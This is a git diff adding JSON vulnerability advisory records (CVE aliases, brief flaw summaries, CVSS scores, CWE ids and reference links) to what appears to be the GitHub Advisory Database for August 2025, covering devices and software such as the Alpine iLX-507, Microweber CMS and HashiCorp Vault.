+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-45150"
+ },
+ {
+ "type": "WEB",
+ "url": "https://gist.github.com/ycshao12/69a48551cc6c9cc69153d137afe9ecef"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/X-D-Lab/LangChain-ChatGLM-Webui"
+ },
+ {
+ "type": "WEB",
+ "url": "http://langchain-chatglm-webui.com"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-732"
+ ],
+ "severity": "CRITICAL",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T17:15:51Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-8258-pcw6-7gfq/GHSA-8258-pcw6-7gfq.json b/advisories/unreviewed/2025/08/GHSA-8258-pcw6-7gfq/GHSA-8258-pcw6-7gfq.json
new file mode 100644
index 0000000000000..a0f4c06120fce
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-8258-pcw6-7gfq/GHSA-8258-pcw6-7gfq.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-8258-pcw6-7gfq",
+ "modified": "2025-08-01T18:31:19Z",
+ "published": "2025-08-01T18:31:19Z",
+ "aliases": [
+ "CVE-2025-8472"
+ ],
+ "details": "Alpine iLX-507 vCard Parsing Stack-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of Alpine iLX-507 devices. User interaction is required to exploit this vulnerability in that the target must connect to a malicious Bluetooth device.\n\nThe specific flaw exists within the parsing of vCard data. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a stack-based buffer. An attacker can leverage this vulnerability to execute arbitrary code in the context of root. Was ZDI-CAN-26316.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.0/AV:A/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8472"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.zerodayinitiative.com/advisories/ZDI-25-761"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-121"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T18:15:57Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-8357-fjvx-xrm8/GHSA-8357-fjvx-xrm8.json b/advisories/unreviewed/2025/08/GHSA-8357-fjvx-xrm8/GHSA-8357-fjvx-xrm8.json
new file mode 100644
index 0000000000000..2434332e9361a
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-8357-fjvx-xrm8/GHSA-8357-fjvx-xrm8.json
@@ -0,0 +1,44 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-8357-fjvx-xrm8",
+ "modified": "2025-08-01T18:31:18Z",
+ "published": "2025-08-01T18:31:18Z",
+ "aliases": [
+ "CVE-2025-51501"
+ ],
+ "details": "Reflected Cross-Site Scripting (XSS) in the id parameter of the live_edit.module_settings API endpoint in Microweber CMS2.0 allows execution of arbitrary JavaScript.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-51501"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/progprnv/CVE-Reports"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/progprnv/CVE-Reports/blob/main/CVE-2025-51501"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/progprnv/CVE-Reports/blob/main/MICROWEBER%20%5BAdmin%20Panel%5D%20Reflected%20XSS%20on%20id%20parameter.md"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T17:15:52Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-8x5q-fmc6-r74x/GHSA-8x5q-fmc6-r74x.json b/advisories/unreviewed/2025/08/GHSA-8x5q-fmc6-r74x/GHSA-8x5q-fmc6-r74x.json
new file mode 100644
index 0000000000000..eb0a8c3e1eb02
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-8x5q-fmc6-r74x/GHSA-8x5q-fmc6-r74x.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-8x5q-fmc6-r74x",
+ "modified": "2025-08-01T18:31:20Z",
+ "published": "2025-08-01T18:31:20Z",
+ "aliases": [
+ "CVE-2025-8477"
+ ],
+ "details": "Alpine iLX-507 vCard Parsing Stack-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected Alpine iLX-507 devices. User interaction is required to exploit this vulnerability in that the target must connect to a malicious Bluetooth device.\n\nThe specific flaw exists within the parsing of vCard data. The issue results from the lack of proper validation of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-26324.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.0/AV:A/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8477"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.zerodayinitiative.com/advisories/ZDI-25-767"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-121"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T18:15:58Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-9847-xprf-x456/GHSA-9847-xprf-x456.json b/advisories/unreviewed/2025/08/GHSA-9847-xprf-x456/GHSA-9847-xprf-x456.json
new file mode 100644
index 0000000000000..1a7e7d9fa67f0
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-9847-xprf-x456/GHSA-9847-xprf-x456.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-9847-xprf-x456",
+ "modified": "2025-08-01T18:31:20Z",
+ "published": "2025-08-01T18:31:20Z",
+ "aliases": [
+ "CVE-2025-8480"
+ ],
+ "details": "Alpine iLX-507 Command Injection Remote Code Execution. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of Alpine iLX-507 devices. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the Tidal music streaming application. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the device. Was ZDI-CAN-26357.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.0/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8480"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.zerodayinitiative.com/advisories/ZDI-25-766"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-22"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T18:15:58Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-99rf-9fx6-652g/GHSA-99rf-9fx6-652g.json b/advisories/unreviewed/2025/08/GHSA-99rf-9fx6-652g/GHSA-99rf-9fx6-652g.json
new file mode 100644
index 0000000000000..e31f5bdf93d9b
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-99rf-9fx6-652g/GHSA-99rf-9fx6-652g.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-99rf-9fx6-652g",
+ "modified": "2025-08-01T18:31:20Z",
+ "published": "2025-08-01T18:31:20Z",
+ "aliases": [
+ "CVE-2025-8473"
+ ],
+ "details": "Alpine iLX-507 UPDM_wstpCBCUpdStart Command Injection Vulnerability. This vulnerability allows physically present attackers to execute arbitrary code on affected installations of Alpine iLX-507 devices. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the UPDM_wstpCBCUpdStart function. The issue results from the lack of proper validation of user-supplied data before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-26317.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.0/AV:P/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8473"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.zerodayinitiative.com/advisories/ZDI-25-762"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-78"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T18:15:57Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-cg36-rxhq-p3j7/GHSA-cg36-rxhq-p3j7.json b/advisories/unreviewed/2025/08/GHSA-cg36-rxhq-p3j7/GHSA-cg36-rxhq-p3j7.json
new file mode 100644
index 0000000000000..c9bca788d9949
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-cg36-rxhq-p3j7/GHSA-cg36-rxhq-p3j7.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-cg36-rxhq-p3j7",
+ "modified": "2025-08-01T18:31:20Z",
+ "published": "2025-08-01T18:31:20Z",
+ "aliases": [
+ "CVE-2025-8475"
+ ],
+ "details": "Alpine iLX-507 AVRCP Stack-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of Alpine iLX-507 devices. User interaction is required to exploit this vulnerability in that the target must connect to a malicious Bluetooth device.\n\nThe specific flaw exists within the implementation of the AVRCP protocol. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-26321.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.0/AV:A/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8475"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.zerodayinitiative.com/advisories/ZDI-25-764"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-121"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T18:15:57Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-cvrx-jhp7-38jf/GHSA-cvrx-jhp7-38jf.json b/advisories/unreviewed/2025/08/GHSA-cvrx-jhp7-38jf/GHSA-cvrx-jhp7-38jf.json
new file mode 100644
index 0000000000000..43cc919f51ef6
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-cvrx-jhp7-38jf/GHSA-cvrx-jhp7-38jf.json
@@ -0,0 +1,29 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-cvrx-jhp7-38jf",
+ "modified": "2025-08-01T18:31:19Z",
+ "published": "2025-08-01T18:31:19Z",
+ "aliases": [
+ "CVE-2025-54564"
+ ],
+ "details": "uploadsm in ChargePoint Home Flex 5.5.4.13 does not validate a user-controlled string for bz2 decompression, which allows command execution as the nobody user.",
+ "severity": [],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54564"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/koharin/CVE/blob/main/CVE-2025-54564"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [],
+ "severity": null,
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T18:15:55Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-fjwp-5xr6-hvh5/GHSA-fjwp-5xr6-hvh5.json b/advisories/unreviewed/2025/08/GHSA-fjwp-5xr6-hvh5/GHSA-fjwp-5xr6-hvh5.json
new file mode 100644
index 0000000000000..6f982c87c60af
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-fjwp-5xr6-hvh5/GHSA-fjwp-5xr6-hvh5.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-fjwp-5xr6-hvh5",
+ "modified": "2025-08-01T18:31:20Z",
+ "published": "2025-08-01T18:31:20Z",
+ "aliases": [
+ "CVE-2025-8476"
+ ],
+ "details": "Alpine iLX-507 TIDAL Improper Certificate Validation Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of Alpine iLX-507 devices. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the TIDAL music streaming application. The issue results from improper certificate validation. An attacker can leverage this in conjunction with other vulnerabilities to execute arbitrary code in the context of root. Was ZDI-CAN-26322.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.0/AV:A/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8476"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.zerodayinitiative.com/advisories/ZDI-25-765"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-295"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T18:15:58Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-fmhj-j6r9-5m2p/GHSA-fmhj-j6r9-5m2p.json b/advisories/unreviewed/2025/08/GHSA-fmhj-j6r9-5m2p/GHSA-fmhj-j6r9-5m2p.json
new file mode 100644
index 0000000000000..14d953be74e7f
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-fmhj-j6r9-5m2p/GHSA-fmhj-j6r9-5m2p.json
@@ -0,0 +1,33 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-fmhj-j6r9-5m2p",
+ "modified": "2025-08-01T18:31:19Z",
+ "published": "2025-08-01T18:31:18Z",
+ "aliases": [
+ "CVE-2025-50870"
+ ],
+ "details": "Institute-of-Current-Students 1.0 is vulnerable to Incorrect Access Control in the mydetailsstudent.php endpoint. The myds GET parameter accepts an email address as input and directly returns the corresponding student's personal information without validating the identity or permissions of the requesting user. This allows any authenticated or unauthenticated attacker to enumerate and retrieve sensitive student details by altering the email value in the request URL, leading to information disclosure.",
+ "severity": [],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50870"
+ },
+ {
+ "type": "WEB",
+ "url": "https://cwe.mitre.org/data/definitions/284.html"
+ },
+ {
+ "type": "WEB",
+ "url": "https://gist.github.com/b0mk35h/c4d47b5c4aacecdc8e6c4b02b40ce302"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [],
+ "severity": null,
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T18:15:53Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-fmp3-xxcc-559c/GHSA-fmp3-xxcc-559c.json b/advisories/unreviewed/2025/08/GHSA-fmp3-xxcc-559c/GHSA-fmp3-xxcc-559c.json
new file mode 100644
index 0000000000000..9c46abdab4de6
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-fmp3-xxcc-559c/GHSA-fmp3-xxcc-559c.json
@@ -0,0 +1,48 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-fmp3-xxcc-559c",
+ "modified": "2025-08-01T18:31:18Z",
+ "published": "2025-08-01T18:31:18Z",
+ "aliases": [
+ "CVE-2023-32256"
+ ],
+ "details": "A flaw was found in the Linux kernel's ksmbd component. A race condition between smb2 close operation and logoff in multichannel connections could result in a use-after-free issue.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:H"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32256"
+ },
+ {
+ "type": "WEB",
+ "url": "https://access.redhat.com/security/cve/CVE-2023-32256"
+ },
+ {
+ "type": "WEB",
+ "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2385885"
+ },
+ {
+ "type": "WEB",
+ "url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=abcc506a9a71976a8b4c9bf3ee6efd13229c1e19"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.zerodayinitiative.com/advisories/ZDI-23-704"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-421"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T18:15:27Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-h64g-vgvx-2m8r/GHSA-h64g-vgvx-2m8r.json b/advisories/unreviewed/2025/08/GHSA-h64g-vgvx-2m8r/GHSA-h64g-vgvx-2m8r.json
new file mode 100644
index 0000000000000..436bdb9610c0f
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-h64g-vgvx-2m8r/GHSA-h64g-vgvx-2m8r.json
@@ -0,0 +1,33 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-h64g-vgvx-2m8r",
+ "modified": "2025-08-01T18:31:17Z",
+ "published": "2025-08-01T18:31:17Z",
+ "aliases": [
+ "CVE-2025-52361"
+ ],
+ "details": "Insecure permissions in the script /etc/init.d/lighttpd in AK-Nord USB-Server-LXL Firmware v0.0.16 Build 2023-03-13 allows a locally authenticated low-privilege user to execute arbitrary commands with root privilege via editing this script which is executed with root-privileges on any interaction and on every system boot.",
+ "severity": [],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52361"
+ },
+ {
+ "type": "WEB",
+ "url": "https://seclists.org/fulldisclosure/2025/Jul/20"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.ak-nord.de/usbserver-usb--usb-converter--usb-auf-ethernet--usb-to-ethernet--usb-auf-lan--usb-server--usb-konverter--print-server-80.html"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [],
+ "severity": null,
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T16:15:42Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-j7gx-cwm7-5mxg/GHSA-j7gx-cwm7-5mxg.json b/advisories/unreviewed/2025/08/GHSA-j7gx-cwm7-5mxg/GHSA-j7gx-cwm7-5mxg.json
new file mode 100644
index 0000000000000..ab311cfe10cf6
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-j7gx-cwm7-5mxg/GHSA-j7gx-cwm7-5mxg.json
@@ -0,0 +1,33 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-j7gx-cwm7-5mxg",
+ "modified": "2025-08-01T18:31:16Z",
+ "published": "2025-08-01T18:31:16Z",
+ "aliases": [
+ "CVE-2019-19144"
+ ],
+ "details": "XML External Entity Injection vulnerability in Quantum DXi6702 2.3.0.3 (11449-53631 Build304) devices via rest/Users?action=authenticate.",
+ "severity": [],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-19144"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/atredispartners/advisories/blob/master/ATREDIS-2019-0004.md"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.quantum.com/products/disk-basedbackup/dxi6700/index.aspx"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [],
+ "severity": null,
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T16:15:37Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-m523-xm42-q7ff/GHSA-m523-xm42-q7ff.json b/advisories/unreviewed/2025/08/GHSA-m523-xm42-q7ff/GHSA-m523-xm42-q7ff.json
index 3c90718f0af03..3b939a3c989cc 100644
--- a/advisories/unreviewed/2025/08/GHSA-m523-xm42-q7ff/GHSA-m523-xm42-q7ff.json
+++ b/advisories/unreviewed/2025/08/GHSA-m523-xm42-q7ff/GHSA-m523-xm42-q7ff.json
@@ -1,13 +1,18 @@
{
"schema_version": "1.4.0",
"id": "GHSA-m523-xm42-q7ff",
- "modified": "2025-08-01T15:34:18Z",
+ "modified": "2025-08-01T18:31:16Z",
"published": "2025-08-01T15:34:18Z",
"aliases": [
"CVE-2025-45767"
],
"details": "jose v6.0.10 was discovered to contain weak encryption.",
- "severity": [],
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H"
+ }
+ ],
"affected": [],
"references": [
{
@@ -28,8 +33,10 @@
}
],
"database_specific": {
- "cwe_ids": [],
- "severity": null,
+ "cwe_ids": [
+ "CWE-327"
+ ],
+ "severity": "HIGH",
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-01T15:15:32Z"
diff --git a/advisories/unreviewed/2025/08/GHSA-mr4h-qf9j-f665/GHSA-mr4h-qf9j-f665.json b/advisories/unreviewed/2025/08/GHSA-mr4h-qf9j-f665/GHSA-mr4h-qf9j-f665.json
new file mode 100644
index 0000000000000..a972b0227cabe
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-mr4h-qf9j-f665/GHSA-mr4h-qf9j-f665.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-mr4h-qf9j-f665",
+ "modified": "2025-08-01T18:31:19Z",
+ "published": "2025-08-01T18:31:19Z",
+ "aliases": [
+ "CVE-2025-6000"
+ ],
+ "details": "A privileged Vault operator within the root namespace with write permission to {{sys/audit}} may obtain code execution on the underlying host if a plugin directory is set in Vault’s configuration. Fixed in Vault Community Edition 1.20.1 and Vault Enterprise 1.20.1, 1.19.7, 1.18.12, and 1.16.23.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6000"
+ },
+ {
+ "type": "WEB",
+ "url": "https://discuss.hashicorp.com/t/hcsec-2025-14-privileged-vault-operator-may-execute-code-on-the-underlying-host/76033"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-94"
+ ],
+ "severity": "CRITICAL",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T18:15:56Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-mvj3-hc7j-vp74/GHSA-mvj3-hc7j-vp74.json b/advisories/unreviewed/2025/08/GHSA-mvj3-hc7j-vp74/GHSA-mvj3-hc7j-vp74.json
new file mode 100644
index 0000000000000..21440848ba900
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-mvj3-hc7j-vp74/GHSA-mvj3-hc7j-vp74.json
@@ -0,0 +1,44 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-mvj3-hc7j-vp74",
+ "modified": "2025-08-01T18:31:18Z",
+ "published": "2025-08-01T18:31:18Z",
+ "aliases": [
+ "CVE-2025-51502"
+ ],
+ "details": "Reflected Cross-Site Scripting (XSS) in Microweber CMS 2.0 via the layout parameter on the /admin/page/create page allows arbitrary JavaScript execution in the context of authenticated admin users.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-51502"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/progprnv/CVE-Reports"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/progprnv/CVE-Reports/blob/main/CVE-2025-51502"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/progprnv/CVE-Reports/blob/main/MICROWEBER%20%5BAdmin%20Panel%5D%20Reflected%20XSS%20on%20layout%20parameter.md"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T17:15:52Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-mwgr-84fv-3jh9/GHSA-mwgr-84fv-3jh9.json b/advisories/unreviewed/2025/08/GHSA-mwgr-84fv-3jh9/GHSA-mwgr-84fv-3jh9.json
new file mode 100644
index 0000000000000..dca3846f77a78
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-mwgr-84fv-3jh9/GHSA-mwgr-84fv-3jh9.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-mwgr-84fv-3jh9",
+ "modified": "2025-08-01T18:31:19Z",
+ "published": "2025-08-01T18:31:19Z",
+ "aliases": [
+ "CVE-2025-6011"
+ ],
+ "details": "A timing side channel in Vault and Vault Enterprise’s (“Vault”) userpass auth method allowed an attacker to distinguish between existing and non-existing users, and potentially enumerate valid usernames for Vault’s Userpass auth method. Fixed in Vault Community Edition 1.20.1 and Vault Enterprise 1.20.1, 1.19.7, 1.18.12, and 1.16.23.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6011"
+ },
+ {
+ "type": "WEB",
+ "url": "https://discuss.hashicorp.com/t/hcsec-2025-15-timing-side-channel-in-vault-s-userpass-auth-method/76034"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-203"
+ ],
+ "severity": "LOW",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T18:15:56Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-mxg3-45rj-wpf7/GHSA-mxg3-45rj-wpf7.json b/advisories/unreviewed/2025/08/GHSA-mxg3-45rj-wpf7/GHSA-mxg3-45rj-wpf7.json
new file mode 100644
index 0000000000000..8fd59951ff4df
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-mxg3-45rj-wpf7/GHSA-mxg3-45rj-wpf7.json
@@ -0,0 +1,40 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-mxg3-45rj-wpf7",
+ "modified": "2025-08-01T18:31:17Z",
+ "published": "2025-08-01T18:31:17Z",
+ "aliases": [
+ "CVE-2025-45778"
+ ],
+ "details": "A stored cross-site scripting (XSS) vulnerability in The Language Sloth Web Application v1.0 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the Description text field.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-45778"
+ },
+ {
+ "type": "WEB",
+ "url": "https://packetstorm.news/files/id/206262"
+ },
+ {
+ "type": "WEB",
+ "url": "http://language.com"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T17:15:52Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-p3q2-74hc-43v3/GHSA-p3q2-74hc-43v3.json b/advisories/unreviewed/2025/08/GHSA-p3q2-74hc-43v3/GHSA-p3q2-74hc-43v3.json
new file mode 100644
index 0000000000000..83f61f0b31119
--- /dev/null
